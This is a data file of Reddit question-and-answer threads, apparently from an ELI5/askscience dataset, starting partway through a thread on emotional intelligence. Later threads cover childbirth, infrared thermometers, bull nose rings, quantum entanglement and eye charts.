someone is very angry in the coal industry because they just got laid off from advancing greener power collection jobs, their level of emotional intelligence will determine their emotional response. Someone with high emotional intelligence will obviously be scared and upset, but will be able to mitigate that anger and manifest it toward something positive, like securing a new job or gaining different professional experience.\n\nDaniel Goleman is the go-to guy for this topic. Here's a TED talk he did that helps answer your question also:\n_URL_0_", "To me, it means being in touch with your own emotions, understanding where they come from,  and being able to sense or understand how others feel. I like the book: Non Violent Communication by Marshal Rosenberg, which contains a great description of where emotions cone from. For example, you cannot control your emotions,  you can only control your behavior. ", "It is a buzzword, with little science backing it up. No doubt people vary in empathy in important ways, but as far as measuring this, and having the measurement be predictive of things, the field is in its infancy. EQ is nowhere near as mature a construct as IQ.\n\nNote how the rest of the answers in this thread are based on subjective feelings rather than hard data. That should tell you something.", "There are 4 basic components:\n\n1) Self Awareness - How aware you are of what you are feeling when and why.  \n2) Self Management - How actively you are able to manage your behavior and emotions with intent and purpose.  \n3) Social awareness - How are you are of what others are feeling and why.  \n4) Social Management - How actively you are able to act to address other people's emotions intentionally and effectively.\n\nThis is becoming a critical set of career skills, FYI. High emotional intelligence correlates very closely with strong work performance, whereas high traditional intelligence actually has a very poor correlation with strong work performance.", "It really depends on the context you are meaning about this. Most of the other posters in here mention a lot of good and valid possible meanings. One slightly more horrifying meaning of this was one I learned at work.\n\nI was advised that if I was interested in going the management route, I should read a few management books (given the titles of them) and then mention during my next review that I had.\n\nI forget the titles at the moment, but one of them was something like \"Better Management through Emotional Intelligence\". When I looked into the book, the entire thing was about teaching you (as a manager) to be able to manipulate the emotions of your employees to get more productivity out of them even if this clearly was at their expense. One such example I remember seeing was along the lines of \"You find out that worker Jimmy is upset at his wife because she rear ended a car today. How would you use what you have learned in your lessons to get Jimmy to stay extra hours today?\" The answer was the basically chat Jimmy up, agree with him and encourage anger towards his wife, and then try to suggest that staying late working, and thus missing the meal she was cooking, would be a good way to get revenge. You can even end up seeming to be the good guy by saying you can officially assign him extra work so he has a valid excuse.\n\nI noped out of that.", "How you feel about a situation/statement/action/etc. is 100% valid and genuine. But how you express that [internal] feeling is entirely within your control.\n\nThe control over that expression is emotional intelligence.", "If you get into a spat at work, then later shout at your partner for something innocuous and blame him or her for being annoying, that's emotionally unintelligent.\n\nIf you get into a spat at work, recognise that your generally foul mood is being impacted by you feeling like your contributions to work are unappreciated, explain to your partner that you need some space for the day to feel better, and don't blame him or her for anything that's really your problem, that's emotionally intelligent.", "It has to do with how you are reading peoples body language, picking up the tone of their voice, and sensing how they are reacting in a situation.\nGood salesmen or persuasive public speakers tend to have high emotional intellegence and can read peoples social ques as they are \"pitching\".  They can quickly change how they are talking, eye contact, body posture, or topic to make the other person more receptive. \nA person of high emotional intelligence will be able to pick up on social ques if the conversation they are having with another person is making the other person uncomfortable, uninterested, or they are very engaged.\nSome people share really inappropriate jokes or talk about things that make others feel uncomfortable, but they don't pick up on ques from the people around them.  So they just keep on talking.\n\n", "According to [Psychology Today](_URL_0_):\n\n > Emotional intelligence is the ability to identify and manage your own emotions and the emotions of others. It is generally said to include three skills:\n\n > 1. Emotional awareness, including the ability to identify your own emotions and those of others;\n\n > 2. The ability to harness emotions and apply them to tasks like thinking and problems solving;\n\n > 3. The ability to manage emotions, including the ability to regulate your own emotions, and the ability to cheer up or calm down another person.\n\nIt states it as though there is this standard of excellence, when in reality there is none because we all as normal or average humans have varying of each of the three skills. And, I would not call them skills as much as an inherent trait because these capabilities are not something easily learned if you don't already have some degree to function this way.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.ted.com/talks/daniel_goleman_on_compassion"], [], [], [], [], [], [], [], ["https://www.psychologytoday.com/basics/emotional-intelligence"]]}
{"q_id": "2i74ly", "title": "what is happening when a woman's water breaks, and why is it important?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2i74ly/eli5_what_is_happening_when_a_womans_water_breaks/", "answers": {"a_id": ["ckzgc35", "ckzgd19", "ckzhpqs"], "score": [9, 2, 4], "text": ["It means she is going into labor.\n\nThe \"water\" is amniotic fluid in a sac with the baby.  When the sac breaks it means the baby is about ready to be born.  The fluid leaks out of her when the sac breaks.\n\nThere's outlier situations where a woman's water breaks too early, or doesn't break naturally and the doctor has to pierce the sac, but for the most part it means she's going into labor.", "During your pregnancy, the baby is surrounded by a fluid-filled membranous sac called the amniotic sac. When labor starts or during labor, your membranes will rupture (or doctors will forcefully break it)\u2014 also known as your water breaking. If your water breaks at or around the time of your due date and labor doesn't soon begin, it's called premature rupture of membranes. (Go to the hospital either way) \n\n...google is way better at explaining this.", "The fluid is from the amniotic sac, basically a balloon of liquid that the baby is inside. Once the amniotic fluid is gone, the baby must be born, one way or another, no matter the gestational age. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3ub4vl", "title": "Why is using nitrous oxide while giving birth in a hospital a new thing?", "selftext": "In this [article](_URL_0_) they talk about how one hospital in Portland, OR is now offering expecting mothers nitrous oxide as an alternative to an epidural during delivery. Why is this a new practice? It's not like nitrous is a new concept for relaxing and relieving pain during a medical procedure. \n\nThanks in advance for any answers! ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3ub4vl/why_is_using_nitrous_oxide_while_giving_birth_in/", "answers": {"a_id": ["cxdicsi", "cxdn7je", "cxdnmgl", "cxdq09q", "cxdrnb8", "cxdxug9"], "score": [45, 6, 121, 40, 15, 3], "text": [" >  It was first synthesized by the English scientist and theologian Joseph Priestly in 1772 and was first used as a labor analgesic by Stanislav Klikovich in Poland in 1881.\n\n_URL_0_", "Hey OP, I did some research and found this article that (hopefully) answers your question.\n_URL_0_\n\nTL;DR the answer to your question is basically \"just cuz\" \n\nAs a woman who plans to have kids I am grateful for this post and hope the increasing trend of nitrous oxide availability in US hospitals continues!!!!", "It's not really new.  Many countries outside the US have been using nitrous oxide as analgesia during childbirth for ages.  As far as why it isn't commonly used in the US?  According to this review: \n\nNitrous oxide for relief of labor pain: a systematic review.\nAURosen MA\nSOAm J Obstet Gynecol. 2002;186(5 Suppl Nature):S110.\n\nThere is an analysis of 11 randomized controlled trials, which were with some patients receiving nitrous oxide and some receiving placebo (I don't know the sample sizes unfortunately), and the conclusion is essentially that although nitrous oxide is safe for and effective for some, there is no clear and definitive evidence that it provides superior pain relief to placebo.  While I don't know for sure if this is why it is used less in the US, my guess is that when doctors have an option for definite pain relief in the form of opiates or epidural versus possible pain relief in the form of nitrous oxide, they would be more likely to recommend the former.  Similarly most patients would probably prefer definite pain relief to possible pain relief. There are also some logistical issues, for instance, the patient holds her own mask and uses it as she requires it. This is generally fine, but if for some reason the patient becomes drowsy/sedated, or is unable to do so then the analgesia wears off very quickly.  \n\n", "It's very common outside of the US, and it's used in a completely different way to an epidural but went out of fashion in the US due to their dr cantered model of care. Plus sides are \n\n- patient controlled dosage (just stop sucking)\n\n- set up by midwives, no dr required\n\n- short half life (effects stop a little while after you stop sucking)\n\n- method of delivery helps the woman focus on her breathing\n\n- fine for babies even when born shortly after using (opioids make baby sleepy)\n\n- allows mother to keep active (full mobility) to keep labour progressing \n\n- highly portable, staple for community midwives\n\n- changes perception of pain, but the feeling is there which is good as it helps the woman push etc\n\n- as someone who had a baby.... It feels AMAZING and although I could still recognise the pain I did not care, it was way better than my epidural", "N2O is fine for patients, because they use it rarely, and only for a short time.  However there are significant risks for hospital personnel who work around N2O regularly.  See: _URL_0_ .  I've worked in old hospitals with crappy ventilation systems, where N20 wasn't available because of risks for staff.", "Think this is one of the most common forms of pain relief in hospital for delivering mums in the UK, and has been for decades. Surviving a labour on 'just gas and air' is a badge of honour for many.\n\nIt's also great fun. A family member even had it after an operation - we all took turns when we visited! "]}, "title_urls": [], "selftext_urls": ["http://www.kgw.com/story/news/2015/11/25/mom-first-use-laughing-gas-during-portland-hospital-delivery/76403496/"], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3594866/#!po=0.833333"], ["http://www.theatlantic.com/health/archive/2014/07/using-laughing-gas-to-relieve-the-pain-of-childbirth/374124/"], [], [], ["http://www.cdc.gov/niosh/docs/94-100/"], []]}
{"q_id": "6e5nlg", "title": "when you get skin indentations from clothing or leaning on something, what's happening on a cellular/biological level?", "selftext": "Not the kind of long-lasting indentations from actual skin disorders (which is all that google search seems to turn up). Just the normal marks that anyone gets when leaning against a textured wall or accidentally resting your arm on your headphones cord, which go away after a while.\n\nIt changes the surface of your skin pretty dramatically and often lasts for several minutes, but never has any permanent effects, so I'm curious what's actually happening.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6e5nlg/eli5_when_you_get_skin_indentations_from_clothing/", "answers": {"a_id": ["di7zy14", "di84unj"], "score": [5, 13], "text": ["I don't know this specific case, but I have studied some cell biology, so consider this an educated guess (literally :P), since nobody else has answered yet I figure it's better than nothing.\n\nCells contain lots of fluid, essentially water with essentials floating around in it, and the cell walls aren't impermeable. What comes in and out of cells is often decided by pressure (example, fresh blood has high concentration of O2 and low concentration of CO2, so O2 will enter the cell if it has lower concentration and CO2 will leave the cell the cell has higher CO2 concentration.\n\nWhen I say concentration I really mean partial pressure, if you lean against something with a texture some cells will get exposed to very high pressure, so even the water will leave the cell so it's becoming deflated, almost like a balloon without air! (And just like the balloon, if the cell wouldn't be able to let out fluid, it'd burst if pressed too much! while the deflated balloon can withstand a lot of pressure)\n\nWhen the pressure is removed the cell will want to expand to normal size again, but the \"negative pressure\" (lack of pressure compared to atmospheric pressure) is not nearly as high as the applied pressure before, **so it will take a lot longer for the cell to regain it's shape!**\n\nWhere does all the water and stuff from the cell go? To other nearby cells or into the bloodstream.", "Physiologist here:  Your body is a bag (skin, tissue) that contains a bunch of smaller water-filled bags (cells) that are surrounded by more water (what is technically called interstitial fluid).    \n\nPressing a textured pattern against the skin causes higher forces to be imparted on the skin by raised surfaces - resulting in more water being pushed aside in the tissues in and underlying the skin.  This is grossly observed as the pattern of a textured fabric/wall/whatever temporarily imprinted in the skin.  \n\nOver a few minutes of removing the textured surface, the interstitial fluid redistributes itself, and the textured imprint on the skin disappears.  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2l7x96", "title": "is fear of death an instinct or a learned behavior?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2l7x96/eli5_is_fear_of_death_an_instinct_or_a_learned/", "answers": {"a_id": ["clsa0v8", "clsa7xb", "clsak17"], "score": [11, 13, 3], "text": ["There are two kinds of \"fear of death\"\n\nThere's the more abstract fear of the eventuality of time that's unique to humans.  Other animals don't dwell on their own mortality, and different human cultures have treated this differently.\n\nThere's also the more imminent \"That bear is trying to maul me\" fear that's instinctive to all complex life.\n\nAnimals that inherently didn't try to avoid maulings didn't last very long.", "\u201cTry to imagine a life without timekeeping. You probably can\u2019t. You know the month, the year, the day of the week. There is a clock on your wall or the dashboard of your car. You have a schedule, a calendar, a time for dinner or a movie. Yet all around you, timekeeping is ignored. Birds are not late. A dog does not check its watch. Deer do not fret over passing birthdays. Man alone measures time. Man alone chimes the hour. And, because of this, man alone suffers a paralyzing fear that no other creature endures. A fear of time running out.\u201d \n\n- Mitch Albom, The Time Keeper\n\nWhile other animals certainly mourn the loss of other group members when they die (e.g. chimpanzees, elephants, bonobos), it is unlikely they understand the more abstract concept of their own mortality and death. Thus fear of death is not an instinct, but learned through a higher cognitive understanding of the workings of life. Fear of things that cause death is instinct, because fear and pain are essential for survival. ", "There is a documentary called *Flight from Death: The Quest For Immortality*. It suggest that fear of death is more of an instinct because it exist in every culture and humans do things like create legacies, religions, and traditions because of it. It goes really deep into a lot of other topics about fear of death also. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bv70v3", "title": "i know the wind off the ocean pushes the water and makes waves on the beach, but when the wave comes in, what makes it go back out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bv70v3/eli5_i_know_the_wind_off_the_ocean_pushes_the/", "answers": {"a_id": ["epm0sac", "epm0z6p", "epnb0bt", "epnnlyi"], "score": [5, 10, 3, 2], "text": ["Gravity.  \n\nThe waves are causing the water to flow in, slightly uphill. When the friction against the land stops them, gravity pulls the water back down the slop into the sea.", "Gravity. Beaches are uphill from the water. The wind pushes the wave hard enough for it to temporarily move uphill but water is heavy so it quickly flows back downhill.", "Stand at the middle of a slope and chuck a bucket of water at the slope and see where the water goes.\n\nYou are the wind and you're chucking water up the slope but gravity pulls it back down.", "Gravity and pressure.\n\n  \nAs the swells break onto the beach, they are pushing water onto the shore, which is higher than the water. Gravity starts to pull it back down, which is what you see when each wave retreats back into the water. That area can't keep receiving more water, however, as the weight of the water becomes higher than the pressure of the new water coming in. Some of it has to escape to areas of lower pressure. This is why you get rip tides. The water being pushed into shore will travel to an area of lower pressure, then go back out to the ocean through a small current called a rip tide. There are always some outward currents, however. Even in calm weather they are minor and may not be powerful enough to pull you out to sea if you get caught in one. If the waves are higher and are occurring with higher frequency (or if the geography is right even on calm days) rip tides can get strong enough to overcome even a very good swimmer. That's why you should always be careful, even when it doesn't seem dangerous."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "crzn7i", "title": "when an infrared non-contact thermometer is pointed at a target, how does it measure the target's temperature and not the temperature of the air column in front of the target?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/crzn7i/eli5_when_an_infrared_noncontact_thermometer_is/", "answers": {"a_id": ["exbbp96", "exbbvw2", "exbhqi3", "exboen4"], "score": [70, 63, 7, 5], "text": ["I never got a satisfactory understanding of one of them. But regardless of exactly how the work;\n\nThey measure temperature by capturing the infrared radiation of whatever they're looking at. How much a thing radiate infrared depends on something called 'emissivity' and i think most of tbose thermometers have a setting to correct for it; its 1 for what we call 'black body' and 0 for mirror like or white things, with most real things somewhere in between.\n\nNow your scenario; air is mostly transparent at the wavelength used by the thermometers, so it would only really see ir radiation from the object it is looking at. Meanwhile the transparency also means that the emissivity is nearly 0; it doesn't radiate much radiation, even if it were hot. More accurately, its just that there are far fewer air molecules flying around to emit anything at all, compared to a solid object; if you clump up enough gasses and heat it up, it would emit like a black body. (Stars! And thats how you tell how hot they are too). Finally, in most measurement scenario, the thing you are trying to measure will be by far the hottest thing within the column of air in the visual field of the object, so even if the air was denser and had higher emissivity, it wouldn't emit much. \n\nThis would be why its not affected by the air temperarure you are looking through.", "Yay one that I can answer.\n\nIR thermometers work just by looking at the amount of light it receives from wherever it's pointing. The same way you can tell that one hot piece of metal is hotter than another piece by the amount of visible light given off.\n\nSo light interacts with different materials in different ways. Infrared light in this case doesn't really interact much with air just like visible light. If it did, the atmosphere would look cloudy to infrared cameras. As such there's very little IR light being emitted by the air between you and the thing you're measuring. As well as that the air isnt absorbing much IR light. The actual object will almost always be the bigger factor by far.\n\nNot so fun fact, that small amount of interaction with IR light is partially due to the CO2 in the air hence why as the amount of CO2 in the air rises the amount of Earth's heat that is absorbed by the air also rises causing the greenhouse effect (water, methane and other gases also do the same thing).\n\nEdit: TL;DR: IR thermometers do get affected by the air between them and their target by not enough to really matter.", "1. Everything emits radiation because of how hot it is. When it gets really hot it gets hot enough that you can see that radiation (the object will start to glow.\n2. The reason that a infrared (IR) thermometer can measure the surface temperature of an object and not the air is that air is simply not very dense. Your average solid object is about 1000+ times as dense as air which means that the vast majority of heat radiation will come from the thing you're aiming at. Air also doesn't absorb heat radation (much). It''s pretty much as transparent to heat radiation as it is to visible light (it will however absorb other types of heat transfer).\n\nThis means that you can pretty accurately measure the heat radiation from that object and based on that energy reading determine its temperature. This does however mean that you can't measure through glass. Glass and liquids will obscure whatever is behind them since they're as dense and therefor emit enough thermal radiation to obscure whatever is behind them.", "While most of the other answers are much more detailed and correct, here is a very intuitive way to understand it: \n\nWhen you take a picture of something with your phone how does it capture the objects in front of it instead of the air? Because the air is transparent in the wavelength you are capturing.\n\nThis isn't a perfect metaphor, but it is probably the simplest metaphor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3oad1c", "title": "what was the purpose of the nostril ring on a bull, and why have i never seen one?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3oad1c/eli5_what_was_the_purpose_of_the_nostril_ring_on/", "answers": {"a_id": ["cvvep87", "cvvfjqv", "cvvi1s1", "cvvnv4h"], "score": [34, 5, 13, 5], "text": ["Let's say you're 6 foot, 300lbs of raw muscle. You aren't going anywhere you don't want to. Now let's give you a nose ring with a string on it. You now go wherever you're pulled. \n\n\nWhy don't you see them anymore? Well would you want to wear one for that purpose? Seems cruel doesn't it? ", "It stops the bull from escaping\n\nSame with pigs.\n\nThey use their face to dig under pens and fences.  The rings prevent them from doing so by getting tugged on as the animal try's to root under something.", "I grew up on a dairy farm. Some cows are simply more aggressive than others and will continue to nuzzle at other cows' udders out of habit or to provoke the other cow. There were at least one or two cattle we had to give a nose ring with a few little upward-facing spikes (not crazy sharp ones, just mild, rounded \"spikes\"). These spikes would irritate the otherwise docile victim cow and provoke a swift kick to the aggressive cow. She would get the hint pretty quick. \n\nAlso, as far as bulls' rings go: It's a lot easier to control 2,000+ pounds of muscle and testosterone with a nose ring. You become the boss when the nose is controlled. Fingers pinched in the nostrils would work too, but mostly when they're still smaller. \n\n(And don't worry, they're tough animals. Seriously.)", "I actually work on a farm, and we put rings in bulls noses so that we can 'halter train' them. \n\nBasically train them to walk like a dog on a leash so that when we sell them at a mart they can be led round the ring and let other farmers see what they're buying.\n\nThe ring give us a lot more control over them because it hurts them when they resist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1c5mwo", "title": "What made Mithridates IV of Pontus so successful against Rome?", "selftext": "How was he able to remain a thorn in Romes side for half a century?  Why wasn't Rome able to rid themselves of him immediately? \n\nEDIT: Well this is embarrassing, I wrote \"IV\" instead of \"VI.\"  Luckily you knew who I was talking about. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1c5mwo/what_made_mithridates_iv_of_pontus_so_successful/", "answers": {"a_id": ["c9ddhuw"], "score": [9], "text": ["Timing. He attacked Rome in the immediate aftermath of the Social Wars and roughly coinciding with Marius and Sulla's Civil War. Sulla certainly proved himself capable of smashing Mithridates' armies, but viewed the situation in Rome as more deserving of his attention, and so after driving Mithridates back he was content to leave well enough alone. After that, the Senate was generally more concerned with Sertorius in Spain than the chastened Mithridates.\n\nIt is also worth noting that there was only about ten years between Sulla's treaty and the beginning of Lucullus' campaigns."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4hncl6", "title": "why is your old man your dad but your old lady is your wife?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4hncl6/eli5_why_is_your_old_man_your_dad_but_your_old/", "answers": {"a_id": ["d2r10sl", "d2r15t1"], "score": [3, 13], "text": ["It's usually less respectful to call your mother \"old\" than it is to call your dad \"old\" because \"old\" has different societal connotations for different genders. Since you're the child, there's also an element of filial piety expected there too. So there's a hierarchy of respect happening, with the child on the lower level and the parents on the higher level.\n\nBut when you're married, you and your wife are more or less on the same level of respect. You are equals. So there's more freedom to call each other whatever you want.", "Think of it like this: if someone says to a male, \"young man!\" This is typically referencing the male as subordinate or boyish, immature, inexperienced. However, this could/ should/ would be taken as a term of disrespect for an older male. Therefore, using the phrase \" old man\" can and is used as a term of endearment or respect. Also, the term can be attributed to using slang to convey an attitude.\n\nWithin the biker culture the terms \"old lady\" refers to a male's female companion and \"old man\" refers to a female's male companion.\n\nAlthough rare and disrespectful, no one should ever rerfer to their mother or grandmother as \"old lady\" as this is considered offensive; even amongst renegades.\n\nEdit: spelling"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3makcq", "title": "What happens when I get carbon fiber wet?", "selftext": "If I was to have a carbon fiber part and exposed it to water (fresh or salt) or if I was to machine carbon fiber stock while using coolant. What if anything will happen to the integrity of said piece?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3makcq/what_happens_when_i_get_carbon_fiber_wet/", "answers": {"a_id": ["cvdr9hi"], "score": [2], "text": ["As the carbon fibre in use is already bound/coated with resin, nothing would happen to it, it would behave similarly as plastic when sprinkled with wated.  \nWhile machined, the fibrous material edge can get a bit torn, as fibres do not cut as easily as a uniform piece of plastic.  \nif exposed to water for long time - like immersion test, they can, depending on the carbon fibre material, swell a bit.  \n\nI share lab space with composites people, who work with carbon fibre quite a lot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1842ow", "title": "is there any science behind behind \"hot\" in a sport?", "selftext": "Examples: hitting streaks in baseball, consecutive shots in basketball, winning streaks, etc. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1842ow/eli5_is_there_any_science_behind_behind_hot_in_a/", "answers": {"a_id": ["c8bexxd", "c8bf1of", "c8bi8rr", "c8bjk96"], "score": [6, 12, 5, 2], "text": ["like \"being in the zone\"? is that what you mean? Or \"being on fire\"?", "No, none at all.  Google \"hot hand fallacy.\"  Applied to basketball, people often believe that if you make one basket (or a streak of baskets) your chances of making the next one are greater.  There have actually been a lot of statistical studies on this and they all come to the same conclusion - there is no correlation between making one shot and then making the next shot.  \n", "This _URL_0_ has a nice bit on the subject.", "This has been well studied in basketball where the answer seems to be \"no--there is no such thing as a hot hand.\"  However this doesn't mean baseball streaks (and slumps) aren't real, or that other sports are full of the equivalent of the \"hot hand.\" There's no reason to be sure that athletes are like dice that produce random results oblivious of recent performance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.radiolab.org/2009/jun/15/seeking-patterns/"], []]}
{"q_id": "6bb1p1", "title": "Are quantum entangled particles subject to time dilation?", "selftext": "Let's suppose you have two twin astronauts as described in the Twin Paradox thought experiment. Each of them is given one particle of a quantum entangled pair for safekeeping. One \n twin remains on Earth, while the other flies away for several years traveling at nearly the speed of light. When he returns to Earth he is younger than his brother. The entangled particles have experienced the same effect as the brothers have, and are brought back together. Are the particles both still entangled in the same time reference to one another? If you collapsed the wave function of one particle would the other \"end\" collapse at the same time, or would it seem to happen with some sort of delay in relation to the time dilation effect that had been imposed?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6bb1p1/are_quantum_entangled_particles_subject_to_time/", "answers": {"a_id": ["dhldcgb", "dhlje5f", "dhmd5k9"], "score": [13, 3, 5], "text": ["The particles do not actually have a physical link or connection, it can only be said that by knowing the state of one of the particles , you are able to know the state of the other, without having to be communicated that state, and visa versa. There is no communication between entangled particles, and no violations of causality. Nothing is \"collapsing\" but our ignorance of the actual state, all other postulated manifold possibilities (arrived at using imprecise models, at best) are excluded once an interaction occurs/a measurement is obtained. The distance, time, frame of reference, etc, are not material to this effect. If I've seriously erred here, someone please correct me!\n\nEDIT: I'm wrong about the details of entanglement (see below), but I still think it's true that OP's conditions on the communication are not relevant because there is no communication (at least no one tore me a new one about that part, yet, haha).", "You seem to be use the wrong mental model for entanglement. It is not some kind of wire that transmits information between both particles, so that one tells the other when to collapse. In particular, the (non-existent) wire does not keep a record of when (or in which reference frame) it was created, so that it would know to wait the appropriate amount of time to collapse the other particle that stayed at Earth.\n\nIt is hard to find a good classical analogy for entanglement precisely because it's so nonclassical. The closest one comes is a correlation between two random variables, but even that is wrong, as the correlation is information calculated by someone who is keeping statistics, whereas entanglement is something physical, that does not depend of whether anyone is making measurements or not.\n\nThe clearest explanation I know for what actually happens when an entangled pair of particles is measured is the one given by the Many Worlds interpretation. According to it, the entangled pair is a superposition between two potential worlds, one where both particles \"point up\", and another where both particles \"point down\". Then when one of the twins makes a measurement on one the particles, it creates two copies of himself, one in the \"pointing up\" world, and another in the \"pointing down\" world. When the second twin does his measurement, he will also create two copies of himself, one in the \"pointing up\" world, and another in the \"pointing down\" world.\n\nThis explanation makes it clear that the copy of the first twin that saw \"up\" in his measurement will meet the copy of the second twin that also saw \"up\" in his measurement (and the same for \"down\"), without any information being send around, or any conflict with relativity.", "Quantum information is pretty far from my field so I feel like I shouldn't say too much until someone who knows more comes along.  However, considering that every answer you've gotten so far is flat-out incorrect, I will at least take a stab at answering WHY you haven't gotten any more expert answers yet.\n\nFirst off, correcting some incorrect answers:\n\n1) Quantum entangled particles ARE correlated in some non-classical way.  If they weren't we wouldn't have needed to come up with quantum mechanics.  \n\n2) Quantum states absolutely experience time/age.  Time evolution (through unitary operators) is pretty central to quantum mechanics and quantum wavefunctions, on top of regular time dependence that classical particles have, also have a phase that change in time.  This actually even allows for types of time dependence, like Aharnov-Bohm, that classical particles don't have. So one could argue that they're even MORE time dependent than classical particles. If they weren't you couldn't build something like a LASER.\n\nHowever, there is an inherent problem in mixing measurement paradox thought experiments with special relativity.  Namely, such thought experiments are phrased in the language of quantum mechanics (bra-kets and states) but QM is not actually the most fundamental form of quantum theory and, crucially, is incompatible with special relativity (not to be confused with incompatibility with general relativity, which is the case of all quantum theories and is one of the biggest open questions in physics).\n\nConversely, the more fundamental version of quantum theory that IS compatible with special relativity, quantum field theory (QFT), does not lend itself to such simple little thought experiments about state and measurement.  For example, I honestly have never seen a QFT treatment of the popular spin-singlet measurement set-up and I'm not sure if one exists (again, hopefully someone knows more).  More specifically, in QFT, not only do you not even have a wavefunction, but particle number is not even a concrete number in any real system.  That's not to say that entanglement doesn't occur in the more \"fundamental\" QFT, it does reduce to QM in certain limits after all, but rather the formalism makes tackling the issue far more complicated, which is why people choose to almost exclusively work in the \"approximation\" of quantum mechanics when talking about such things.  However, talking about SR and QM is a no-go.\n\nThere actually is something called \"Relativistic Quantum Mechanics\" that is essentially the first effort to make QM compliant with SR, but it was eventually abandoned after it was realized it could never work, and the entire quantization procedure itself had to be changed - which lead to QFT.  Though I do wonder if it works well enough that you might be able to consider something of your problem, but I'm hardly an expert on such defunct theories.\n\nYou can maybe get an idea of the problem as such, in QM you have an individual particle's behaviour modeled by a wavefunction and the behaviour of two particles governed by some linear combination of a product of two wavefunctions (don't worry about this).  These wavefunctions, like all waves, obey Heisenberg's Uncertainty which can be said, in a certain form, to say:  the variance/uncertainty in the time interval in which a system is considered multiplied by the variance/uncertainty in the system energy, must be equal to or greater than some number.  This means that if the time interval becomes arbitrarily small, the energy variance/uncertainty becomes arbitrarily big.  That's what QM says.  However, SR says E=mc^2 .  So if the system has enough energy, then new particles can be created (i.e. if energy is greater than mass of two electrons times speed of light squared you can make an electron-positron pair, for example). So putting the two (SR and QM) together you arrive at the notion that you have a theory of \"one particle-one wavefunction\" but depending on the time interval of consideration, one can have arbitrarily large energy variances implying that the number of particles is not only not fixed, but dependent on the interval of consideration.  So you could not possibly have a theory of one particle-one wavefunction that was accurate to arbitrary time and energy scales.\n\nSo QM and SR don't play nice, in QFT this issue is avoided by throwing out the concept of particles altogether and instead talking about quantized excitations of fields (an electron isn't a particle but an excitation of the electron field).  And QFT, although the most accurate scientific theory developed by humankind and entirely compliant with SR, is really set up to allow things like scattering probabilities to be calculated and doesn't treat state in such a straightforward way like QM.\n\nIt's also worth pointing out that your thought experiment involves  BOTH SR and GR (general relativity). With SR alone there is no Twin Paradox, as how does one know which twin is younger and which older?  SR says all (inertial) reference frames are equivalent so where one twin heads off in a space ship at 0.9c, from that twin's perspective it's the Earth zooming away at 0.9c.  The symmetry is broken by the fact that one twin, and only one twin, entered a non-inertial frame, which is to say they accelerated.  Such acceleration is not described by SR and one needs GR.  Thus, although it is a point often skipped over, the Twin Paradox is actually a result of SR+GR.  Of course one can ignore this and use QM and just demand by fiat that one part of the spin-singlet is time evolved more than the other, but I'm fairly certain that will just lead to garbage.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2q47ri", "title": "why do all eye doctors use the big e as the top letter for their charts?", "selftext": "Always wondered why, and how they decided on that specific letter?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q47ri/eli5_why_do_all_eye_doctors_use_the_big_e_as_the/", "answers": {"a_id": ["cn2ou5e", "cn3719x"], "score": [68, 5], "text": ["Because original eye charts (Snellen Chart) only had the letter E, but each letter would be rotated to point into a different direction (with the opening towards up, down, left or right), so that you can just point to which way the letter E is pointing (useful when some of your clients might be illiterate, too young to read, or non-English speakers). The E at the top is a reference to the old chart.", "Actually, in the clinic I studied Opthalmology , there where also charts with the capital letterA at the 20/200 line. I believe that any of the Sloan letters can be used (C, D, H, K, N, O, R, S, V ,Z). There are also charts other than Snellen's with Russian letters or broken rings ( for illiterate people) like this : _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://upload.wikimedia.org/wikipedia/commons/4/4f/Golovin-Sivtsev_Table.svg"]]}
